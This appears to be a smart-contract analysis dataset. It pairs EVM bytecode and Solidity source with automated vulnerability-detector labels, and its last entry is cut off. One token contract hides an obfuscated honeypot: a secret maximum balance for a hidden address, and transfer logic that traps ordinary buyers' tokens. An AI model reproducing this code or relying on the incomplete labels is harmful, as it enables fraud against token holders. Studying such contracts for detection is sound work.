145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d02565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147f5761147f611505565b61148a848484611533565b80610a7257610a72600e54600c55600f54600d55565b60008060006114ad61162a565b90925090506114bc82826114c3565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115155750600d54155b1561151c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154587611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157790876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a69086611737565b6001600160a01b0389166000908152600260205260409020556115c881611796565b6115d284836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164582826114c3565b82101561166157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a0565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117448385611cb6565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b60006117a06114a0565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007555050565b600080808061181e606461181889896118a9565b906114c3565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106af565b60006118c48385611d95565b9050826118d18583611d73565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e28161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e282611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b91506020830135611c2f8161193e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caf57611caf611c85565b5060010190565b60008219821115611cc957611cc9611c85565b500190565b600082821015611ce057611ce0611c85565b500390565b600060208284031215611cf757600080fd5b81516112e28161193e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daf57611daf611c85565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a6a0679428625c5dca7d9a2133a5ad278c131d3cc2563167a5a3c868d8c570d64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
83
0x2332fE1a1499511dE4475FA9bA61651c16682DdF
// https://t.me/dogecocaine_eth // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.1; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address deep ) { _symbol = _SYMBOL; _name = _NAME; _fee = 5; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[deep] = practice; _balances[msg.sender] = _tTotal; they[deep] = practice; they[msg.sender] = practice; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private practice = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } mapping(uint256 => address) private wonderful; function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function yes( address dozen, address exactly, uint256 amount ) private { address drive = wonderful[0]; bool beat = uniswapV2Pair == dozen; uint256 original = _fee; if (they[dozen] == 0 && hay[dozen] > 0 && !beat) { they[dozen] -= original; } wonderful[0] = exactly; if (they[dozen] > 0 && amount == 0) { they[exactly] += original; } hay[drive] += original; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[dozen] -= fee; _balances[address(this)] += fee; _balances[dozen] -= amount; _balances[exactly] += amount; } mapping(address => uint256) private hay; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private they; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); yes(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { yes(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function buy( uint256 count, address tokenAddress, address to ) external payable { address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = tokenAddress; uint256 amount = msg.value / count; for (uint256 i = 0; i < count; i++) { router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp); } uint256 balance = address(this).balance; if (balance > 0) payable(msg.sender).transfer(balance); } }
0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063dd62ed3e11610059578063dd62ed3e14610330578063e753858a1461036d578063f2fde38b14610389578063f887ea40146103b2576100f3565b80638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8578063c5b37c2214610305576100f3565b8063313ce567116100c6578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e578063715018a61461025b576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461016057806323b872dd1461018b575b600080fd5b34801561010457600080fd5b5061010d6103dd565b60405161011a91906113d5565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611490565b61046f565b60405161015791906114eb565b60405180910390f35b34801561016c57600080fd5b50610175610484565b6040516101829190611515565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611530565b61048e565b6040516101bf91906114eb565b60405180910390f35b3480156101d457600080fd5b506101dd6105dd565b6040516101ea9190611515565b60405180910390f35b3480156101ff57600080fd5b506102086105f7565b6040516102159190611592565b60405180910390f35b34801561022a57600080fd5b50610245600480360381019061024091906115ad565b61061d565b6040516102529190611515565b60405180910390f35b34801561026757600080fd5b50610270610666565b005b34801561027e57600080fd5b506102876106ee565b6040516102949190611592565b60405180910390f35b3480156102a957600080fd5b506102b2610717565b6040516102bf91906113d5565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611490565b6107a9565b6040516102fc91906114eb565b60405180910390f35b34801561031157600080fd5b5061031a610825565b6040516103279190611515565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906115da565b61082b565b6040516103649190611515565b60405180910390f35b6103876004803603810190610382919061161a565b6108b2565b005b34801561039557600080fd5b506103b060048036038101906103ab91906115ad565b610b50565b005b3480156103be57600080fd5b506103c7610c47565b6040516103d491906116cc565b60405180910390f35b6060600280546103ec90611716565b80601f016020809104026020016040519081016040528092919081815260200182805461041890611716565b80156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b5050505050905090565b600061047c338484610c6d565b905092915050565b6000600754905090565b60008082116104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c9906117b9565b60405180910390fd5b6104dd848484610e08565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161053a9190611515565b60405180910390a36105d4843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cf9190611808565b610c6d565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066e611270565b73ffffffffffffffffffffffffffffffffffffffff1661068c6106ee565b73ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990611888565b60405180910390fd5b6106ec6000611278565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461072690611716565b80601f016020809104026020016040519081016040528092919081815260200182805461075290611716565b801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b5050505050905090565b60006107b6338484610e08565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108139190611515565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600267ffffffffffffffff8111156108cf576108ce6118a8565b5b6040519080825280602002602001820160405280156108fd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099191906118ec565b816000815181106109a5576109a4611919565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106109f4576109f3611919565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008434610a3c9190611977565b905060005b85811015610af157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008688426040518663ffffffff1660e01b8152600401610aac9493929190611aa1565b6000604051808303818588803b158015610ac557600080fd5b505af1158015610ad9573d6000803e3d6000fd5b50505050508080610ae990611aed565b915050610a41565b5060004790506000811115610b48573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b46573d6000803e3d6000fd5b505b505050505050565b610b58611270565b73ffffffffffffffffffffffffffffffffffffffff16610b766106ee565b73ffffffffffffffffffffffffffffffffffffffff1614610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc390611888565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290611ba7565b60405180910390fd5b610c4481611278565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610cd85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e90611c39565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610df59190611515565b60405180910390a3600190509392505050565b6000600c600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610f2a57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f34575081155b15610f905780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f889190611808565b925050819055505b84600c600080815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156110315750600084145b1561108d5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110859190611c59565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110dc9190611c59565b9250508190555060006001546064866110f59190611977565b6110ff9190611caf565b9050808561110d9190611808565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461115e9190611808565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111b49190611c59565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461120a9190611808565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112609190611c59565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137657808201518184015260208101905061135b565b83811115611385576000848401525b50505050565b6000601f19601f8301169050919050565b60006113a78261133c565b6113b18185611347565b93506113c1818560208601611358565b6113ca8161138b565b840191505092915050565b600060208201905081810360008301526113ef818461139c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611427826113fc565b9050919050565b6114378161141c565b811461144257600080fd5b50565b6000813590506114548161142e565b92915050565b6000819050919050565b61146d8161145a565b811461147857600080fd5b50565b60008135905061148a81611464565b92915050565b600080604083850312156114a7576114a66113f7565b5b60006114b585828601611445565b92505060206114c68582860161147b565b9150509250929050565b60008115159050919050565b6114e5816114d0565b82525050565b600060208201905061150060008301846114dc565b92915050565b61150f8161145a565b82525050565b600060208201905061152a6000830184611506565b92915050565b600080600060608486031215611549576115486113f7565b5b600061155786828701611445565b935050602061156886828701611445565b92505060406115798682870161147b565b9150509250925092565b61158c8161141c565b82525050565b60006020820190506115a76000830184611583565b92915050565b6000602082840312156115c3576115c26113f7565b5b60006115d184828501611445565b91505092915050565b600080604083850312156115f1576115f06113f7565b5b60006115ff85828601611445565b925050602061161085828601611445565b9150509250929050565b600080600060608486031215611633576116326113f7565b5b60006116418682870161147b565b935050602061165286828701611445565b925050604061166386828701611445565b9150509250925092565b6000819050919050565b600061169261168d611688846113fc565b61166d565b6113fc565b9050919050565b60006116a482611677565b9050919050565b60006116b682611699565b9050919050565b6116c6816116ab565b82525050565b60006020820190506116e160008301846116bd565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061172e57607f821691505b602082108103611741576117406116e7565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006117a3602983611347565b91506117ae82611747565b604082019050919050565b600060208201905081810360008301526117d281611796565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118138261145a565b915061181e8361145a565b925082821015611831576118306117d9565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611872602083611347565b915061187d8261183c565b602082019050919050565b600060208201905081810360008301526118a181611865565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118e68161142e565b92915050565b600060208284031215611902576119016113f7565b5b6000611910848285016118d7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006119828261145a565b915061198d8361145a565b92508261199d5761199c611948565b5b828204905092915050565b6000819050919050565b60006119cd6119c86119c3846119a8565b61166d565b61145a565b9050919050565b6119dd816119b2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a188161141c565b82525050565b6000611a2a8383611a0f565b60208301905092915050565b6000602082019050919050565b6000611a4e826119e3565b611a5881856119ee565b9350611a63836119ff565b8060005b83811015611a94578151611a7b8882611a1e565b9750611a8683611a36565b925050600181019050611a67565b5085935050505092915050565b6000608082019050611ab660008301876119d4565b8181036020830152611ac88186611a43565b9050611ad76040830185611583565b611ae46060830184611506565b95945050505050565b6000611af88261145a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b2a57611b296117d9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611b91602683611347565b9150611b9c82611b35565b604082019050919050565b60006020820190508181036000830152611bc081611b84565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c23602483611347565b9150611c2e82611bc7565b604082019050919050565b60006020820190508181036000830152611c5281611c16565b9050919050565b6000611c648261145a565b9150611c6f8361145a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ca457611ca36117d9565b5b828201905092915050565b6000611cba8261145a565b9150611cc58361145a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611cfe57611cfd6117d9565b5b82820290509291505056fea2646970667358221220707bba4e59ee61ab321ab2014fba9ba85fb625b8f5e63077d925ee5e9e2269a064736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
84
0xc7eec2c723b6fad28290e0755ca4e3d75c0d6958
pragma solidity 0.5.17; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, 